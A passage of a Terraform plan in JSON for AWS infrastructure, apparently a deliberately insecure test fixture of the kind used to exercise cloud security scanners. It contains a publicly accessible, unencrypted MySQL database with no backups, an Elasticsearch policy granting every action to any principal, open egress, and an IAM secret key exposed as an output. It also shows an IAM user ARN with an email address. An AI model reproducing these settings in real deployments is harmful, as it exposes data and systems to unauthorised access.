\"owner_id\": true,\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_security_group_rule.egress\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group_rule\",\n      \"name\": \"egress\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"cidr_blocks\": [\n            \"0.0.0.0/0\"\n          ],\n          \"description\": null,\n          \"from_port\": 0,\n          \"ipv6_cidr_blocks\": null,\n          \"prefix_list_ids\": null,\n          \"protocol\": \"-1\",\n          \"self\": false,\n          \"to_port\": 0,\n          \"type\": \"egress\"\n        },\n        \"after_unknown\": {\n          \"cidr_blocks\": [\n            false\n          ],\n          \"id\": true,\n          \"security_group_id\": true,\n          \"source_security_group_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_security_group_rule.ingress\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group_rule\",\n      \"name\": \"ingress\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"cidr_blocks\": [\n            \"172.16.0.0/16\"\n          ],\n          \"description\": null,\n          \"from_port\": 3306,\n          \"ipv6_cidr_blocks\": null,\n          \"prefix_list_ids\": null,\n          \"protocol\": \"tcp\",\n          \"self\": false,\n          \"to_port\": 3306,\n          \"type\": \"ingress\"\n        },\n        \"after_unknown\": {\n          \"cidr_blocks\": [\n            false\n          ],\n          \"id\": true,\n          \"security_group_id\": true,\n          \"source_security_group_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_subnet.eks_subnet1\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_subnet\",\n      \"name\": \"eks_subnet1\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_ipv6_address_on_creation\": false,\n          \"availability_zone\": \"us-west-2a\",\n          \"cidr_block\": \"10.10.10.0/24\",\n          \"ipv6_cidr_block\": null,\n          \"map_public_ip_on_launch\": true,\n          \"outpost_arn\": null,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-eks-subnet\",\n            \"kubernetes.io/cluster/123456789123-acme-corp-eks\": \"shared\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone_id\": true,\n          \"id\": true,\n          \"ipv6_cidr_block_association_id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_subnet.eks_subnet2\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_subnet\",\n      \"name\": \"eks_subnet2\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_ipv6_address_on_creation\": false,\n          \"availability_zone\": \"us-west-2b\",\n          \"cidr_block\": \"10.10.11.0/24\",\n          \"ipv6_cidr_block\": null,\n          \"map_public_ip_on_launch\": true,\n          \"outpost_arn\": null,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-eks-subnet2\",\n            \"kubernetes.io/cluster/123456789123-acme-corp-eks\": \"shared\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone_id\": true,\n          \"id\": true,\n          \"ipv6_cidr_block_association_id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_subnet.web_subnet\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_subnet\",\n      \"name\": \"web_subnet\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_ipv6_address_on_creation\": false,\n          \"availability_zone\": \"us-west-2a\",\n          \"cidr_block\": \"172.16.10.0/24\",\n          \"ipv6_cidr_block\": null,\n          \"map_public_ip_on_launch\": true,\n          \"outpost_arn\": null,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-subnet\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone_id\": true,\n          \"id\": true,\n          \"ipv6_cidr_block_association_id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_subnet.web_subnet2\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_subnet\",\n      \"name\": \"web_subnet2\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_ipv6_address_on_creation\": false,\n          \"availability_zone\": \"us-west-2b\",\n          \"cidr_block\": \"172.16.11.0/24\",\n          \"ipv6_cidr_block\": null,\n          \"map_public_ip_on_launch\": true,\n          \"outpost_arn\": null,\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-subnet2\"\n          },\n          \"timeouts\": null\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"availability_zone_id\": true,\n          \"id\": true,\n          \"ipv6_cidr_block_association_id\": true,\n          \"owner_id\": true,\n          \"tags\": {},\n          \"vpc_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_volume_attachment.ebs_att\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_volume_attachment\",\n      \"name\": \"ebs_att\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"device_name\": \"/dev/sdh\",\n          \"force_detach\": null,\n          \"skip_destroy\": null\n        },\n        \"after_unknown\": {\n          \"id\": true,\n          \"instance_id\": true,\n          \"volume_id\": true\n        }\n      }\n    },\n    {\n      \"address\": \"aws_vpc.eks_vpc\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_vpc\",\n      \"name\": \"eks_vpc\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_generated_ipv6_cidr_block\": false,\n          \"cidr_block\": \"10.10.0.0/16\",\n          \"enable_dns_hostnames\": true,\n          \"enable_dns_support\": true,\n          \"instance_tenancy\": \"default\",\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-eks-vpc\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"default_network_acl_id\": true,\n          \"default_route_table_id\": true,\n          \"default_security_group_id\": true,\n          \"dhcp_options_id\": true,\n          \"enable_classiclink\": true,\n          \"enable_classiclink_dns_support\": true,\n          \"id\": true,\n          \"ipv6_association_id\": true,\n          \"ipv6_cidr_block\": true,\n          \"main_route_table_id\": true,\n          \"owner_id\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"aws_vpc.web_vpc\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_vpc\",\n      \"name\": \"web_vpc\",\n      \"provider_name\": \"aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"assign_generated_ipv6_cidr_block\": false,\n          \"cidr_block\": \"172.16.0.0/16\",\n          \"enable_dns_hostnames\": true,\n          \"enable_dns_support\": true,\n          \"instance_tenancy\": \"default\",\n          \"tags\": {\n            \"Name\": \"123456789123-acme-corp-vpc\"\n          }\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"default_network_acl_id\": true,\n          \"default_route_table_id\": true,\n          \"default_security_group_id\": true,\n          \"dhcp_options_id\": true,\n          \"enable_classiclink\": true,\n          \"enable_classiclink_dns_support\": true,\n          \"id\": true,\n          \"ipv6_association_id\": true,\n          \"ipv6_cidr_block\": true,\n          \"main_route_table_id\": true,\n          \"owner_id\": true,\n          \"tags\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"null_resource.push_image\",\n      \"mode\": \"managed\",\n      \"type\": \"null_resource\",\n      \"name\": \"push_image\",\n      \"provider_name\": \"null\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"triggers\": null\n        },\n        \"after_unknown\": {\n          \"id\": true\n        }\n      }\n    }\n  ],\n  \"output_changes\": {\n    \"db_app_public_dns\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"db_endpoint\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"ec2_public_dns\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"endpoint\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"kubeconfig-certificate-authority-data\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"public_subnet\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"public_subnet2\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"secret\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    },\n    \"username\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after\": \"123456789123-acme-corp-user\",\n      \"after_unknown\": false\n    },\n    \"vpc_id\": {\n      \"actions\": [\n        \"create\"\n      ],\n      \"before\": null,\n      \"after_unknown\": true\n    }\n  },\n  \"prior_state\": {\n    \"format_version\": \"0.1\",\n    \"terraform_version\": \"0.12.23\",\n    \"values\": {\n      \"root_module\": {\n        \"resources\": [\n          {\n            \"address\": \"data.aws_ami.amazon-linux-2\",\n            \"mode\": \"data\",\n            \"type\": \"aws_ami\",\n            \"name\": \"amazon-linux-2\",\n            \"provider_name\": \"aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"architecture\": \"x86_64\",\n              \"arn\": \"arn:aws:ec2:us-west-2::image/ami-0f0a6d00932023856\",\n              \"block_device_mappings\": [\n                {\n                  \"device_name\": \"/dev/xvda\",\n                  \"ebs\": {\n                    \"delete_on_termination\": \"true\",\n                    \"encrypted\": \"false\",\n                    \"iops\": \"0\",\n                    \"snapshot_id\": \"snap-06c1606ba5ca274b1\",\n                    \"volume_size\": \"8\",\n                    \"volume_type\": \"standard\"\n                  },\n                  \"no_device\": \"\",\n                  \"virtual_name\": \"\"\n                }\n              ],\n              \"creation_date\": \"2020-09-22T02:09:24.000Z\",\n              \"description\": \"Amazon Linux 2 AMI 2.0.20200917.0 x86_64 HVM ebs\",\n              \"executable_users\": null,\n              \"filter\": [\n                {\n                  \"name\": \"name\",\n                  \"values\": [\n                    \"amzn2-ami-hvm-*-x86_64-ebs\"\n                  ]\n                },\n                {\n                  \"name\": \"owner-alias\",\n                  \"values\": [\n                    \"amazon\"\n                  ]\n                }\n              ],\n              \"hypervisor\": \"xen\",\n              \"id\": \"ami-0f0a6d00932023856\",\n              \"image_id\": \"ami-0f0a6d00932023856\",\n              \"image_location\": \"amazon/amzn2-ami-hvm-2.0.20200917.0-x86_64-ebs\",\n              \"image_owner_alias\": \"amazon\",\n              \"image_type\": \"machine\",\n              \"kernel_id\": null,\n              \"most_recent\": true,\n              \"name\": \"amzn2-ami-hvm-2.0.20200917.0-x86_64-ebs\",\n              \"name_regex\": null,\n              \"owner_id\": \"137112412989\",\n              \"owners\": [\n                \"amazon\"\n              ],\n              \"platform\": null,\n              \"product_codes\": [],\n              \"public\": true,\n              \"ramdisk_id\": null,\n              \"root_device_name\": \"/dev/xvda\",\n              \"root_device_type\": \"ebs\",\n              \"root_snapshot_id\": \"snap-06c1606ba5ca274b1\",\n              \"sriov_net_support\": \"simple\",\n              \"state\": \"available\",\n              \"state_reason\": {\n                \"code\": \"UNSET\",\n                \"message\": \"UNSET\"\n              },\n              \"tags\": {},\n              \"virtualization_type\": \"hvm\"\n            }\n          },\n          {\n            \"address\": \"data.aws_caller_identity.current\",\n            \"mode\": \"data\",\n            \"type\": \"aws_caller_identity\",\n            \"name\": \"current\",\n            \"provider_name\": \"aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"account_id\": \"123456789123\",\n              \"arn\": \"arn:aws:iam::123456789123:user/barak@bridgecrew.io\",\n              \"id\": \"123456789123\",\n              \"user_id\": \"AIDA2MPWNTLGWKZRRDYTT\"\n            }\n          },\n          {\n            \"address\": \"data.aws_iam_policy_document.iam_policy_eks\",\n            \"mode\": \"data\",\n            \"type\": \"aws_iam_policy_document\",\n            \"name\": \"iam_policy_eks\",\n            \"provider_name\": \"aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"id\": \"189502314\",\n              \"json\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n      \\\"Principal\\\": {\\n        \\\"Service\\\": \\\"eks.amazonaws.com\\\"\\n      }\\n    }\\n  ]\\n}\",\n              \"override_json\": null,\n              \"policy_id\": null,\n              \"source_json\": null,\n              \"statement\": [\n                {\n                  \"actions\": [\n                    \"sts:AssumeRole\"\n                  ],\n                  \"condition\": [],\n                  \"effect\": \"Allow\",\n                  \"not_actions\": [],\n                  \"not_principals\": [],\n                  \"not_resources\": [],\n                  \"principals\": [\n                    {\n                      \"identifiers\": [\n                        \"eks.amazonaws.com\"\n                      ],\n                      \"type\": \"Service\"\n                    }\n                  ],\n                  \"resources\": [],\n                  \"sid\": \"\"\n                }\n              ],\n              \"version\": \"2012-10-17\"\n            }\n          },\n          {\n            \"address\": \"data.aws_iam_policy_document.policy\",\n            \"mode\": \"data\",\n            \"type\": \"aws_iam_policy_document\",\n            \"name\": \"policy\",\n            \"provider_name\": \"aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"id\": \"3931805674\",\n              \"json\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Sid\\\": \\\"\\\",\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Action\\\": \\\"es:*\\\",\\n      \\\"Resource\\\": \\\"*\\\",\\n      \\\"Principal\\\": {\\n        \\\"AWS\\\": \\\"*\\\"\\n      }\\n    }\\n  ]\\n}\",\n              \"override_json\": null,\n              \"policy_id\": null,\n              \"source_json\": null,\n              \"statement\": [\n                {\n                  \"actions\": [\n                    \"es:*\"\n                  ],\n                  \"condition\": [],\n                  \"effect\": \"Allow\",\n                  \"not_actions\": [],\n                  \"not_principals\": [],\n                  \"not_resources\": [],\n                  \"principals\": [\n                    {\n                      \"identifiers\": [\n                        \"*\"\n                      ],\n                      \"type\": \"AWS\"\n                    }\n                  ],\n                  \"resources\": [\n                    \"*\"\n                  ],\n                  \"sid\": \"\"\n                }\n              ],\n              \"version\": \"2012-10-17\"\n            }\n          }\n        ]\n      }\n    }\n  },\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"expressions\": {\n          \"profile\": {\n            \"constant_value\": \"acme3\"\n          },\n          \"region\": {\n            \"constant_value\": \"us-west-2\"\n          }\n        }\n      }\n    },\n    \"root_module\": {\n      \"outputs\": {\n        \"db_app_public_dns\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_instance.db_app\"\n            ]\n          },\n          \"description\": \"DB Public DNS name\"\n        },\n        \"db_endpoint\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_db_instance.default\"\n            ]\n          },\n          \"description\": \"DB Endpoint\"\n        },\n        \"ec2_public_dns\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_instance.web_host\"\n            ]\n          },\n          \"description\": \"Web Host Public DNS name\"\n        },\n        \"endpoint\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_eks_cluster.eks_cluster\"\n            ]\n          }\n        },\n        \"kubeconfig-certificate-authority-data\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_eks_cluster.eks_cluster\"\n            ]\n          }\n        },\n        \"public_subnet\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_subnet.web_subnet\"\n            ]\n          },\n          \"description\": \"The ID of the Public subnet\"\n        },\n        \"public_subnet2\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_subnet.web_subnet2\"\n            ]\n          },\n          \"description\": \"The ID of the Public subnet\"\n        },\n        \"secret\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_iam_access_key.user\"\n            ]\n          }\n        },\n        \"username\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_iam_user.user\"\n            ]\n          }\n        },\n        \"vpc_id\": {\n          \"expression\": {\n            \"references\": [\n              \"aws_vpc.web_vpc\"\n            ]\n          },\n          \"description\": \"The ID of the VPC\"\n        }\n      },\n      \"resources\": [\n        {\n          \"address\": \"aws_db_instance.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_instance\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"allocated_storage\": {\n              \"constant_value\": \"20\"\n            },\n            \"apply_immediately\": {\n              \"constant_value\": true\n            },\n            \"backup_retention_period\": {\n              \"constant_value\": 0\n            },\n            \"db_subnet_group_name\": {\n              \"references\": [\n                \"aws_db_subnet_group.default\"\n              ]\n            },\n            \"engine\": {\n              \"constant_value\": \"mysql\"\n            },\n            \"engine_version\": {\n              \"constant_value\": \"8.0\"\n            },\n            \"identifier\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"instance_class\": {\n              \"constant_value\": \"db.t3.micro\"\n            },\n            \"monitoring_interval\": {\n              \"constant_value\": 0\n            },\n            \"multi_az\": {\n              \"constant_value\": false\n            },\n            \"name\": {\n              \"references\": [\n                \"var.dbname\"\n              ]\n            },\n            \"option_group_name\": {\n              \"references\": [\n                \"aws_db_option_group.default\"\n              ]\n            },\n            \"parameter_group_name\": {\n              \"references\": [\n                \"aws_db_parameter_group.default\"\n              ]\n            },\n            \"password\": {\n              \"references\": [\n                \"var.password\"\n              ]\n            },\n            \"publicly_accessible\": {\n              \"constant_value\": true\n            },\n            \"skip_final_snapshot\": {\n              \"constant_value\": true\n            },\n            \"storage_encrypted\": {\n              \"constant_value\": false\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            },\n            \"username\": {\n              \"constant_value\": \"admin\"\n            },\n            \"vpc_security_group_ids\": {\n              \"references\": [\n                \"aws_security_group.default\"\n              ]\n            }\n          },\n          \"schema_version\": 1\n        },\n        {\n          \"address\": \"aws_db_option_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_option_group\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"engine_name\": {\n              \"constant_value\": \"mysql\"\n            },\n            \"major_engine_version\": {\n              \"constant_value\": \"8.0\"\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"option_group_description\": {\n              \"constant_value\": \"Terraform OG\"\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_db_parameter_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_parameter_group\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"description\": {\n              \"constant_value\": \"Terraform PG\"\n            },\n            \"family\": {\n              \"constant_value\": \"mysql8.0\"\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"parameter\": [\n              {\n                \"apply_method\": {\n                  \"constant_value\": \"immediate\"\n                },\n                \"name\": {\n                  \"constant_value\": \"character_set_client\"\n                },\n                \"value\": {\n                  \"constant_value\": \"utf8\"\n                }\n              },\n              {\n                \"apply_method\": {\n                  \"constant_value\": \"immediate\"\n                },\n                \"name\": {\n                  \"constant_value\": \"character_set_server\"\n                },\n                \"value\": {\n                  \"constant_value\": \"utf8\"\n                }\n              }\n            ],\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_db_subnet_group.default\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_db_subnet_group\",\n          \"name\": \"default\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"description\": {\n              \"constant_value\": \"Terraform DB Subnet Group\"\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"subnet_ids\": {\n              \"references\": [\n                \"aws_subnet.web_subnet\",\n                \"aws_subnet.web_subnet2\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_ebs_snapshot.example_snapshot\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ebs_snapshot\",\n          \"name\": \"example_snapshot\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"description\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"volume_id\": {\n              \"references\": [\n                \"aws_ebs_volume.web_host_storage\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_ebs_volume.web_host_storage\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ebs_volume\",\n          \"name\": \"web_host_storage\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"availability_zone\": {\n              \"references\": [\n                \"var.availability_zone\"\n              ]\n            },\n            \"size\": {\n              \"constant_value\": 1\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_ecr_repository.repository\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_ecr_repository\",\n          \"name\": \"repository\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"image_tag_mutability\": {\n              \"constant_value\": \"MUTABLE\"\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_eks_cluster.eks_cluster\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_eks_cluster\",\n          \"name\": \"eks_cluster\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"references\": [\n                \"local.eks_name\"\n              ]\n            },\n            \"role_arn\": {\n              \"references\": [\n                \"aws_iam_role.iam_for_eks\"\n              ]\n            },\n            \"vpc_config\": [\n              {\n                \"endpoint_private_access\": {\n                  \"constant_value\": true\n                },\n                \"subnet_ids\": {\n                  \"references\": [\n                    \"aws_subnet.eks_subnet1\",\n                    \"aws_subnet.eks_subnet2\"\n                  ]\n                }\n              }\n            ]\n          },\n          \"schema_version\": 0,\n          \"depends_on\": [\n            \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSClusterPolicy\",\n            \"aws_iam_role_policy_attachment.policy_attachment-AmazonEKSServicePolicy\"\n          ]\n        },\n        {\n          \"address\": \"aws_elasticsearch_domain.monitoring-framework\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_elasticsearch_domain\",\n          \"name\": \"monitoring-framework\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"cluster_config\": [\n              {\n                \"dedicated_master_count\": {\n                  \"constant_value\": 1\n                },\n                \"dedicated_master_enabled\": {\n                  \"constant_value\": false\n                },\n                \"dedicated_master_type\": {\n                  \"constant_value\": \"m4.large.elasticsearch\"\n                },\n                \"instance_count\": {\n                  \"constant_value\": 1\n                },\n                \"instance_type\": {\n                  \"constant_value\": \"t2.small.elasticsearch\"\n                }\n              }\n            ],\n            \"domain_name\": {\n              \"references\": [\n                \"var.environment\"\n              ]\n            },\n            \"ebs_options\": [\n              {\n                \"ebs_enabled\": {\n                  \"constant_value\": true\n                },\n                \"volume_size\": {\n                  \"constant_value\": 30\n                }\n              }\n            ],\n            \"elasticsearch_version\": {\n              \"constant_value\": \"2.3\"\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_elasticsearch_domain_policy.monitoring-framework-policy\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_elasticsearch_domain_policy\",\n          \"name\": \"monitoring-framework-policy\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"access_policies\": {\n              \"references\": [\n                \"data.aws_iam_policy_document.policy\"\n              ]\n            },\n            \"domain_name\": {\n              \"references\": [\n                \"aws_elasticsearch_domain.monitoring-framework\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_elb.weblb\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_elb\",\n          \"name\": \"weblb\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"connection_draining\": {\n              \"constant_value\": true\n            },\n            \"connection_draining_timeout\": {\n              \"constant_value\": 400\n            },\n            \"cross_zone_load_balancing\": {\n              \"constant_value\": true\n            },\n            \"health_check\": [\n              {\n                \"healthy_threshold\": {\n                  \"constant_value\": 2\n                },\n                \"interval\": {\n                  \"constant_value\": 30\n                },\n                \"target\": {\n                  \"constant_value\": \"HTTP:8000/\"\n                },\n                \"timeout\": {\n                  \"constant_value\": 3\n                },\n                \"unhealthy_threshold\": {\n                  \"constant_value\": 2\n                }\n              }\n            ],\n            \"idle_timeout\": {\n              \"constant_value\": 400\n            },\n            \"instances\": {\n              \"references\": [\n                \"aws_instance.web_host\"\n              ]\n            },\n            \"listener\": [\n              {\n                \"instance_port\": {\n                  \"constant_value\": 8000\n                },\n                \"instance_protocol\": {\n                  \"constant_value\": \"http\"\n                },\n                \"lb_port\": {\n                  \"constant_value\": 80\n                },\n                \"lb_protocol\": {\n                  \"constant_value\": \"http\"\n                }\n              }\n            ],\n            \"name\": {\n              \"constant_value\": \"weblb-terraform-elb\"\n            },\n            \"security_groups\": {\n              \"references\": [\n                \"aws_security_group.web-node\"\n              ]\n            },\n            \"subnets\": {\n              \"references\": [\n                \"aws_subnet.web_subnet\"\n              ]\n            },\n            \"tags\": {\n              \"constant_value\": {\n                \"Name\": \"foobar-terraform-elb\"\n              }\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_flow_log.vpcflowlogs\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_flow_log\",\n          \"name\": \"vpcflowlogs\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"log_destination\": {\n              \"references\": [\n                \"aws_s3_bucket.flowbucket\"\n              ]\n            },\n            \"log_destination_type\": {\n              \"constant_value\": \"s3\"\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            },\n            \"traffic_type\": {\n              \"constant_value\": \"ALL\"\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"aws_vpc.web_vpc\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_access_key.user\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_access_key\",\n          \"name\": \"user\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"user\": {\n              \"references\": [\n                \"aws_iam_user.user\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_instance_profile.ec2profile\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_instance_profile\",\n          \"name\": \"ec2profile\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"role\": {\n              \"references\": [\n                \"aws_iam_role.ec2role\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_role.ec2role\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"ec2role\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"assume_role_policy\": {\n              \"constant_value\": \"{\\n    \\\"Version\\\": \\\"2012-10-17\\\",\\n    \\\"Statement\\\": [\\n        {\\n            \\\"Action\\\": \\\"sts:AssumeRole\\\",\\n            \\\"Principal\\\": {\\n               \\\"Service\\\": \\\"ec2.amazonaws.com\\\"\\n            },\\n            \\\"Effect\\\": \\\"Allow\\\",\\n            \\\"Sid\\\": \\\"\\\"\\n        }\\n    ]\\n}\\n\"\n            },\n            \"name\": {\n              \"references\": [\n                \"local.resource_prefix\"\n              ]\n            },\n            \"path\": {\n              \"constant_value\": \"/\"\n            },\n            \"tags\": {\n              \"references\": [\n                \"local.resource_prefix\",\n                \"local.resource_prefix\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"aws_iam_role.iam_for_eks\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_iam_role\",\n          \"name\": \"iam_for_eks\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"assume_role_policy\": {\n              \"references\": [\n                